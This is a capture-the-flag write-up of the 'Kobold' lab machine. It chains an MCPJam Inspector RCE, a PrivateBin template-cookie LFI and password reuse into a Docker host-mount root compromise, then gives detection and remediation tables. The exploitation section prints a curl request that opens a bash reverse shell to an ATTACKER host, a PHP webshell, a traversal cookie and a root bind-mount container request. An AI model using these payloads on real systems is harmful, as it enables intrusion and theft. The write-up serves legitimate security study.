Overview
Kobold is a medium-rated Linux machine hosting three virtual hosts behind
nginx with a wildcard TLS certificate: a static landing page
(kobold.htb), a PrivateBin 2.0.2 instance (bin.kobold.htb), and an
MCPJam Inspector 1.4.2 React SPA (mcp.kobold.htb). The attack chain
exploits three distinct vulnerabilities across three services to progress
from unauthenticated access to full root compromise.
Initial access is gained through CVE-2026-23744, an unauthenticated RCE in
MCPJam Inspector’s /api/mcp/connect endpoint, which accepts arbitrary
stdio server configurations and spawns local processes without validation.
This yields a shell as user ben. From there, CVE-2025-64714 (PrivateBin
template cookie LFI) is exploited by writing a PHP webshell into the
PrivateBin data directory (writable by the operator group, of which ben
is a member) and triggering its inclusion via the template cookie. This
grants container-level RCE and access to the PrivateBin configuration,
which contains a MySQL password reused on the Arcane Docker Manager running
as root on port 3552.
The key lesson is service isolation. Three services that should have no relationship to each other are linked by shared group memberships and password reuse, creating a chain from unauthenticated web access to host root filesystem control.
Reconnaissance
nmap -sV -sC -A -T4 10.129.14.6
| Port | Service | Product / Version | Notes |
|---|---|---|---|
| 22 | SSH | OpenSSH 9.6p1 Ubuntu | Ubuntu 24.04 |
| 80 | HTTP | nginx 1.24.0 | Redirects to HTTPS |
| 443 | HTTPS | nginx 1.24.0 | Wildcard cert: *.kobold.htb |
The wildcard certificate indicates virtual host routing. Subdomain enumeration via standard wordlists failed (all responses returned 302 redirects). Manual investigation identified two subdomains:
bin.kobold.htb: PrivateBin 2.0.2 (paste service, Docker container)mcp.kobold.htb: MCPJam Inspector 1.4.2 (React SPA)
The mcp subdomain was guessed after noticing MCP references in the
landing page source and the prevalence of MCP tooling in HTB Season 10.
Attack Surface Analysis
MCPJam Inspector: unauthenticated process spawning
MCPJam Inspector 1.4.2 exposes an API endpoint at /api/mcp/connect that
accepts JSON payloads specifying MCP server connection parameters. When the
transport type is set to “stdio”, the server spawns a local process using
the user-supplied command and args fields without any validation or
allow-listing. This is CVE-2026-23744.
PrivateBin: template cookie LFI
When templateselection is enabled in the PrivateBin configuration, the
application reads a template cookie and includes the file at
tpl/{cookie_value}.php. The cookie value is not sanitised for directory
traversal sequences.
Arcane Docker Manager: unrestricted container creation
Arcane Docker Manager v1.13.0 runs as root on port 3552 bound to all
interfaces. The container creation endpoint allows arbitrary hostConfig.binds
specifications, including mounting the host root filesystem. No restrictions
exist on bind mount paths.
Vulnerability Analysis
| Finding | CVE | CVSS | CWE | Impact |
|---|---|---|---|---|
| F-01 | CVE-2026-23744 | 9.8 | CWE-78 | Unauthenticated RCE as ben |
| F-02 | CVE-2025-64714 | 5.8 | CWE-98 | Container-level RCE via LFI |
| F-03 | N/A | 8.1 | CWE-522 | Password reuse grants Arcane admin |
| F-04 | N/A | 9.9 | CWE-250 | Host root filesystem mount via Docker |
The attack chain is linear: each finding enables the next. F-01 provides
host access as ben. F-02 uses ben’s group membership to write into the
PrivateBin container’s data directory and trigger LFI. F-03 extracts a
password from the container configuration that is reused on Arcane. F-04
uses Arcane to create a Docker container with the host root mounted.
Exploitation
Phase 1: MCPJam RCE (CVE-2026-23744)
curl -k -X POST https://mcp.kobold.htb/api/mcp/connect \
-H "Content-Type: application/json" \
-d '{
"transport": "stdio",
"command": "bash",
"args": ["-c", "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"]
}'
nc -lvnp 4444
# Connection from 10.129.14.6
ben@kobold:~$ id
uid=1001(ben) gid=1001(ben) groups=1001(ben),1003(operator)
ben@kobold:~$ cat /home/ben/user.txt
# [flag redacted]
User flag captured. The operator group membership is the bridge to the
next phase.
Phase 2: PrivateBin LFI (CVE-2025-64714)
The /privatebin-data/data/ directory on the host is writable by the
operator group. Inside the PrivateBin container, this directory appears
at /srv/data/. The PrivateBin tpl/ directory is at /srv/tpl/.
# Write webshell to a known path
ben@kobold:~$ mkdir -p /privatebin-data/data/bd/b5
ben@kobold:~$ echo '<?php system($_GET["cmd"]); ?>' > /privatebin-data/data/bd/b5/shell.php
Trigger the LFI via the template cookie:
curl -k -b "template=../../srv/data/bd/b5/shell" \
"https://bin.kobold.htb/?cmd=id"
# uid=65534(nobody) gid=65534(nobody)
Read the PrivateBin configuration:
curl -k -b "template=../../srv/data/bd/b5/shell" \
"https://bin.kobold.htb/?cmd=cat+/srv/cfg/conf.php"
# [model_options]
# dsn = "mysql:host=172.17.0.1;dbname=privatebin"
# usr = "privatebin"
# pwd = "ComplexP@sswordAdmin1928"
Phase 3: Arcane Docker Manager access via password reuse
The MySQL password ComplexP@sswordAdmin1928 works for the Arcane Docker
Manager with username arcane:
curl -X POST http://10.129.14.6:3552/api/auth/login \
-H "Content-Type: application/json" \
-d '{"username":"arcane","password":"ComplexP@sswordAdmin1928"}'
# {"jwt":"eyJhbGciOiJIUzI1NiIs..."}
Phase 4: host root filesystem via Docker container
curl -X POST http://10.129.14.6:3552/api/environments/0/containers \
-H "Authorization: Bearer $JWT" \
-H "Content-Type: application/json" \
-d '{
"image": "mysql:latest",
"user": "root",
"hostConfig": {"binds": ["/:/hostfs:rw"]},
"entrypoint": ["sh", "-c"],
"cmd": ["cat /hostfs/root/root.txt"]
}'
Root flag obtained.
Post-Exploitation
Key observations from ben’s shell: no sudo privileges, no exploitable SUID
binaries beyond standard defaults. The operator group grants write access
to /privatebin-data/ (including data/ and certs/). Arcane runs as root
and binds to all interfaces on port 3552. The Docker bridge network
(172.17.0.0/16) hosts the PrivateBin container at 172.17.0.2.
The certs/ directory is also writable by the operator group. An attacker
could replace the TLS certificate and key to perform man-in-the-middle
attacks against HTTPS traffic to bin.kobold.htb.
User alice (uid 1002) is a member of the docker group. If credentials
for alice were obtainable, direct Docker socket access would provide an
alternative path to root without needing Arcane.
Defensive Analysis
| Phase | MITRE ATT&CK | Detection |
|---|---|---|
| Initial Access | T1190 | POST requests to /api/mcp/connect with unexpected commands |
| Execution | T1059.004 | Child processes spawned by MCPJam (auditd on execve) |
| Execution | T1505.003 | New .php files in PrivateBin data directory |
| Credential Access | T1552.001 | PrivateBin conf.php access from unexpected processes |
| Privilege Escalation | T1078.001 | Arcane API login from non-administrative IPs |
| Privilege Escalation | T1611 | Container creation with host filesystem bind mounts |
For F-01 detection: alert on any command value in /api/mcp/connect
requests that is not an expected MCP server binary. Alert on outbound TCP
connections from the MCPJam process to non-standard destinations.
For F-04 detection: alert on container creation events with bind mounts to
/ or other sensitive host paths. Docker daemon audit logging captures
these events natively.
Remediation
| Priority | Action | Effort | Impact |
|---|---|---|---|
| P0 | Upgrade MCPJam Inspector to >= 1.4.3 (patches CVE-2026-23744) | Low | Critical |
| P0 | Upgrade PrivateBin to >= 2.0.3 (patches CVE-2025-64714) | Low | Critical |
| P0 | Change Arcane admin password to a unique credential | Low | Critical |
| P0 | Bind Arcane to 127.0.0.1:3552 (not 0.0.0.0) | Low | Critical |
| P1 | Implement bind-mount restrictions in Arcane | Medium | High |
| P1 | Run Arcane as a non-root user | Medium | High |
| P1 | Separate service accounts; remove shared group memberships | Medium | High |
| P2 | Disable PrivateBin templateselection | Low | Medium |
| P2 | Restrict MCPJam command allow-list | Medium | Medium |
| P3 | Deploy a secrets manager for service credentials | High | Medium |
The Arcane Docker Manager finding is the most consequential. Any service that can create containers with arbitrary bind mounts is functionally equivalent to root access. Running Arcane as root and allowing unrestricted container creation eliminated all host security boundaries. The fix is straightforward: bind to localhost, restrict bind mount paths, and run as a non-root user.
Key Takeaways
-
Service isolation matters. The
operatorgroup bridged the MCPJam and PrivateBin attack surfaces. Userben(MCPJam) could write to the PrivateBin data directory, turning a web application RCE into a container-level compromise. Each service should run under its own dedicated user with no shared group memberships. -
Password reuse collapses trust boundaries. The MySQL password in the PrivateBin container configuration was identical to the Arcane admin password. This single credential bridged three trust domains: the container, the Docker management plane, and the host root filesystem. A complex password does not help when it is reused across services.
-
Docker management APIs are root-equivalent. Any API that can create containers with arbitrary bind mounts provides full host filesystem access. Running the management service as root, binding to all interfaces, and allowing unrestricted container creation is three independent failures that all lead to the same outcome.
-
Internal services exposed externally are a recurring pattern. Arcane was bound to
0.0.0.0:3552with no firewall rules. Management interfaces must be bound to localhost and accessed through SSH tunnels or VPNs. This is a basic network security control that prevents the majority of post-authentication exploitation scenarios.